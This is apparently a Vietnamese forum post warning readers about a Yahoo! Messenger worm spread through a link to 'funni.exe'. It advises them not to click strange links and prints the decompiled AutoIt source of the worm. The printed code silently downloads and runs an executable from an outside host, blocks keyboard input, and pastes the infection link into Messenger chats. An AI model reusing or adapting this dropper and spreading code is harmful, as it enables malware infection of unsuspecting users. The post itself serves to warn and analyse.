Nhiều đứa khùng thật đấy, biết là làm việc này không đem lại kết quả gì rồi mà cũng cứ nghịch. Nhiều khi thử nghiệm thì chỉ là thử nghiệm thôi, tung ra làm gì chứ
Hôm nay, lại thấy một con virus nữa lây qua yahoo giống con VLOVE, với đường link tới file funni.exe là file nhiễm virus cho mọi người
Mình không hiểu mấy nhưng view ra thì biết là con này là đồ dùng lại trên mạng. Đó là chương trình AutoIT 3 (Link: http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3.2.0.1-setup.exe) Tải về và sửa theo ý mình là được.
Củ chuối thật ! Vào link của tác giả con virus này thì được biết là hắn ta đang thử nghiên cứu về chương trình này. Tên có vẻ ở hải ngoại nên hắn không sợ bị bắt như mấy chú trong nước vừa rồi.
Bà con cẩn thận nhé, đừng click vào link lạ nào nhé.
Đây là source code của file funni.exe
/////////////////////////////////////////////////////
; <AUT2EXE VERSION: 3.2.0.1>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Documents and Settings\shinichi\My Documents\Downloads\Compressed\autoit-v3.2.0.1\Examples\gaixinh.au3>
; ----------------------------------------------------------------------------
AutoItSetOption ("TrayIconHide","1")
InetGet( "hxxp://www.freewebtown.com/killerking1/funny/funny.exe" ,@WindowsDir & "\system.exe" ,1,0)
sleep(3000)
Run(@WindowsDir & "\system.exe")
sleep(3000)
$title = WinGetTitle("Yahoo! Messenger")
$wincheck = WinExists ($title)
ClipPut("Vui wa' : hxxp://www.freewebtown.com/killerking1/funny/funni.exe")
if $wincheck = 1 then
BlockInput (1)
WinActivate($title)
send("!A")
send("M")
sleep(400)
send("{DOWN}")
send("{SHIFTDOWN}")
send("{END}")
send("{enter}")
send("{LSHIFT}")
send("^v {ENTER}")
BlockInput (0)
endif
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Documents and Settings\shinichi\My Documents\Downloads\Compressed\autoit-v3.2.0.1\Examples\gaixinh.au3>
; ----------------------------------------------------------------------------
/////////////////////////////////////////////////////
